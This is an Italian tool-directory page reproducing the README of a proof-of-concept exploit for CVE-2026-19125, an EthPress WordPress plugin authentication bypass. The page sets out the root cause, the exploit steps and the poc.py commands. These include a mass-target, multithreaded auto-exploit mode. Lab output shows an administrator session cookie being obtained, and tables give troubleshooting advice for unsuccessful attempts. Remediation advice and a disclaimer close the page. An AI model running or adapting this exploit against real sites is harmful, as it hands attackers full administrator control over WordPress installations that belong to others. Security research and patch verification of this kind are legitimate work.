Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
By-Poloss..-..CVE-2026-19125 — Proof-of-concept verificato che sfrutta il bypass di autenticazione non autenticato di EthPress <= 2.3.5, concedendo una sessione di amministratore WordPress tramite un indirizzo wallet. | Kitploit
Strumenti/GitHubGitHub/polosss/by-poloss..-..cve-2026-19125
Attacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingAutenticazioneRed Teaming

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
polosss/by-poloss..-..cve-2026-19125

By-Poloss..-..CVE-2026-19125

Proof-of-concept verificato che sfrutta il bypass di autenticazione non autenticato di EthPress <= 2.3.5, concedendo una sessione di amministratore WordPress tramite un indirizzo wallet.

Vedi Repository
61 giorno faNon ancora revisionato

CVE-2026-19125 — EthPress <= 2.3.5 Bypass di autenticazione non autenticato

Proof-of-concept funzionante e verificato per il bypass di autenticazione del login wallet di EthPress, sviluppato e validato contro il laboratorio localhost X-1.

  • Risultato: un attaccante non autenticato ottiene una sessione WordPress amministratore valida (RAZZ, user id 1, roles=['administrator']) usando soltanto un indirizzo wallet pubblico.
  • Lab: http://localhost:8080 — WordPress + MySQL (Docker, wp_app/wp_db)
  • Build vulnerabile attiva nel lab: ethpress 2.3.5
  • Build di confronto (non installata): ethpress 2.3.6 in _plugin-reference/

1. TL;DR del bug

app/Login.php::verify_login() (v2.3.5) verifica la firma del wallet, costruisce un WP_Error quando il controllo fallisce — e poi dimentica di ritornare:

root@kitploit:~
51   if ( !$verified ) {
52       $user = new \WP_Error('ethpress', $verify_error);   // dead store, no return
53   }
54   // Log in.                                              // fall-through
55   try {
...
70       $user = $address->log_in();                         // wp_set_auth_cookie()

L'esecuzione continua nel blocco di login, Address::log_in() risolve l'indirizzo wallet fornito dall'attaccante verso il relativo utente WordPress proprietario, e wp_set_auth_cookie() autentica quell'utente. La risposta è {"success":true,"data":{"message":"Logged in"}}.


2. Esecuzione del PoC

root@kitploit:~
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a

# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET

# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl

Flag

requests è l'unica dipendenza (pip install requests). Tutta la crittografia Ethereum (Keccak-256, secp256k1, firma RFC 6979, recupero dell'indirizzo) è implementata all'interno di poc.py usando solo la libreria standard.

Esecuzione di esempio (lab)

root@kitploit:~
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080    EXPLOITED   authentication cookie accepted by WordPress (full administrator confirmed)
[!]   !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!]   !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...

3. Come funziona l'exploit (3 fasi)

  1. Raccolta del nonce. GET /wp-login.php e leggi ethpressLoginWP.loginNonce. È un wp_create_nonce('ethpress_log_in') coniato per una sessione anonima (uid=0) ed è quindi valido per la chiamata AJAX non autenticata dell'attaccante stesso.
  2. Firma qualsiasi cosa con la chiave dell'attaccante. La firma è crittograficamente valida ma recupera l'indirizzo dell'attaccante, che differisce dal coinbase inviato. verify2() restituisce [false, error] — e la 2.3.5 lo scarta. (Anche una firma completamente vuota funziona; poc.py ricade automaticamente su questa.)
  3. Dimostra la sessione. Usa il cookie emesso per raggiungere /wp-admin/, estrai il nonce REST della sessione e chiama /wp/v2/users/me?context=edit → l'id utente reale, il login e i ruoli; inoltre verifica l'accesso a quattro schermate riservate agli amministratori.

4. Matrice di verifica (tutto eseguito, non asserito)

Riproduci uno qualsiasi di questi:

root@kitploit:~
bash lab-switch-version.sh 2.3.6        # patched  -> exploit fails
bash lab-switch-version.sh 2.3.5        # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh              # tool-free curl transcript
python3 boundary-test.py                # signature-input matrix

5. Setup del lab utilizzato

root@kitploit:~
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/   # 200

# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
  wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
  && find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
  && find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root     # version 2.3.5

# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root

wp user meta update scrive esattamente la chiave di storage che scrive il Address::create() del plugin stesso (update_user_meta($uid, 'ethpress', $coinbase)), quindi la precondizione è predisposta nel modo legittimo — nessun indebolimento artificiale del target.

Le build di riferimento per il diffing risiedono fuori dalla directory dei plugin: ../_plugin-reference/ethpress/{vulnerable,latest}.

Insidia del lab incontrata (documentata, ora gestita)

Scambiare le versioni del plugin sul posto mentre Apache continua a girare lascia il vecchio bytecode compilato in OPcache. PHP continua quindi a eseguire i file della versione precedente; poiché freemius/start.php:584 della 2.3.6 richiede freemius/require.php → includes/class-fs-hook-snapshot.php (un file che esiste solo nella 2.3.6), il sito restituiva HTTP 500 anche se la 2.3.5 era su disco. lab-switch-version.sh ora riavvia wp_app dopo ogni cambio e attende che /wp-login.php restituisca 200. Conferma sempre la versione in esecuzione, non solo quella su disco.


Codici di uscita

CodiceSignificato
0almeno un target è stato EXPLOITED
1eseguito correttamente, nessun target sfruttato
2uso errato — file di input mancante/illeggibile, o nessun indirizzo wallet fornito

-a è l'unica cosa che devi azzeccare

-a/--address deve essere l'indirizzo wallet che è già collegato all'account WordPress target — cioè la riga wp_usermeta con meta_key = 'ethpress'. Il PoC non può indovinarlo: l'indirizzo non è esposto pubblicamente da nessuna parte.

root@kitploit:~
docker exec wp_app wp user meta get 1 ethpress --allow-root
# -> 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a   use THIS value

Se passi un indirizzo diverso l'esecuzione termina come exploited 0 / 1 — ma il meccanismo di bypass in sé funziona, l'indirizzo semplicemente non risolve a nessun utente. Il PoC ora stampa un blocco esplicito "perché non ha avuto successo" più suggerimenti per ogni non-hit, quindi questo non è più silenzioso.

Risoluzione dei problemi di esecuzione


6. Indice dei deliverable

root@kitploit:~
CVE-2026-19125/
├── README.md                     this file
├── analysis.md                   root cause, patch, chain, reliability, remediation
├── intel.md                      advisory facts + verification-vs-advisory table
├── poc.py                        the exploit (self-contained crypto, -f -t -o)
├── patch.diff                    app/Login.php  2.3.5 -> 2.3.6
├── boundary-test.py              signature-input boundary harness
├── lab-switch-version.sh         swap lab between 2.3.5 / 2.3.6 (opcache-safe)
├── sink-verify-login.txt         vulnerable source excerpt (verifier + sink)
├── ajax-actions.txt              attack-surface: ethpress AJAX registrations
├── hooks.txt                     hook registrations (Plugin::attach_hooks)
├── results.jsonl                 exploitation record (2.3.5)          <- success
├── results-patched.jsonl         exploitation record (2.3.6 control)  <- blocked
├── results-neg.jsonl             negative control (unlinked address)
└── evidence/
    ├── raw-transcript.txt        raw HTTP: nonce -> bypass -> cookie -> admin proof
    ├── raw-repro.sh              regenerates the above
    ├── boundary-matrix.txt       which signature inputs bypass / 500 / fail
    ├── run-positive.log          PoC run on 2.3.5
    ├── run-patched-236.log       PoC run on 2.3.6
    └── results-registration-open.jsonl   users_can_register=1 branch behaviour

7. Remediation

Aggiorna EthPress alla 2.3.6 o superiore. Non esiste una soluzione di configurazione: il difetto è nel flusso di controllo del login stesso. Se l'aggiornamento non è immediatamente possibile, disabilita il login wallet del plugin (o il plugin) e verifica wp_usermeta per i collegamenti ethpress su account privilegiati.


8. Disclaimer

Solo per ricerca di sicurezza autorizzata in un laboratorio localhost isolato. Non usare contro sistemi di cui non sei proprietario o per cui non hai il permesso scritto di testare. Autore: Poloss.

Scarica lo strumento
FlagSignificato
-f, --filefile di URL target (uno per riga, commenti #) per scansione massiva + auto-exploit
-t, --threadsthread worker concorrenti (default 10)
-o, --outputpercorso output/log, JSON Lines (default cve-2026-19125-results.jsonl)
-u, --urlURL target singolo (ripetibile)
-a, --addressindirizzo wallet della vittima collegato a un account WordPress
-af, --address-filefile di indirizzi wallet candidati
-k, --private-keychiave privata dell'attaccante in hex (default: chiave casuale nuova per ogni attacco)
--timeouttimeout HTTP in secondi (default 20)
--verify-tlsverifica i certificati TLS
-q, --quietsopprime le righe di progresso per target
TestBuildAttesoOsservatoArtefatto
Exploit positivo, indirizzo admin collegato2.3.5takeoverid=1 RAZZ roles=['administrator'], tutte e 4 le capability adminresults.jsonl, evidence/run-positive.log
Controllo negativo, indirizzo non collegato2.3.5nessuna sessione"You have not registered on this site"results-neg.jsonl
Controllo patchato, entrambe le primitive2.3.6rifiutato"Failed to verify signature. The address ... extracted ..."results-patched.jsonl, evidence/run-patched-236.log
Riproduzione raw con curl, senza tooling2.3.5`Set-Cookie: ...=RAZZ...`confermato
Matrice di confine dell'input della firma2.3.5misto2 primitive deterministiche; blob casuali ≈50/50 o HTTP 500evidence/boundary-matrix.txt
users_can_register=1, indirizzo non collegato2.3.5nuova sessione subscriberutente 0xAAAA... creato con ruolo subscriber, loggato (poi rimosso)evidence/results-registration-open.jsonl
SintomoSignificatoSoluzione
failed ... "You have not registered on this site; we cannot log you in"l'indirizzo fornito non è collegato a nessun accountpassa l'indirizzo da wp user meta get <id> ethpress
failed ... "Failed to verify signature. The address ... extracted for address ..."il target è PATCHATO (>= 2.3.6)comportamento di controllo atteso; reinstalla la 2.3.5 tramite lab-switch-version.sh
not_vulnerable ... wp-login.php returned HTTP ...EthPress assente, metodo di login disabilitato, o sito inattivocontrolla wp plugin list e che /wp-login.php restituisca 200
unreachable ... ConnectionErrornessuna raggiungibilità HTTPcontrolla host/porta
cookie_issued_not_acceptedcookie emesso ma rifiutatoil nonce è scaduto (vita di 5 minuti) — riesegui
HTTP 500 sulla chiamata AJAX, nessun cookieuna firma non recuperabile ha fatto lanciare un'eccezione alla crittografia inclusail PoC evita questo usando le primitive deterministiche
wp-login.php restituisce 500 mentre la 2.3.5 è su discoOPcache obsoleto dopo un cambio di versionedocker restart wp_app (gestito da lab-switch-version.sh)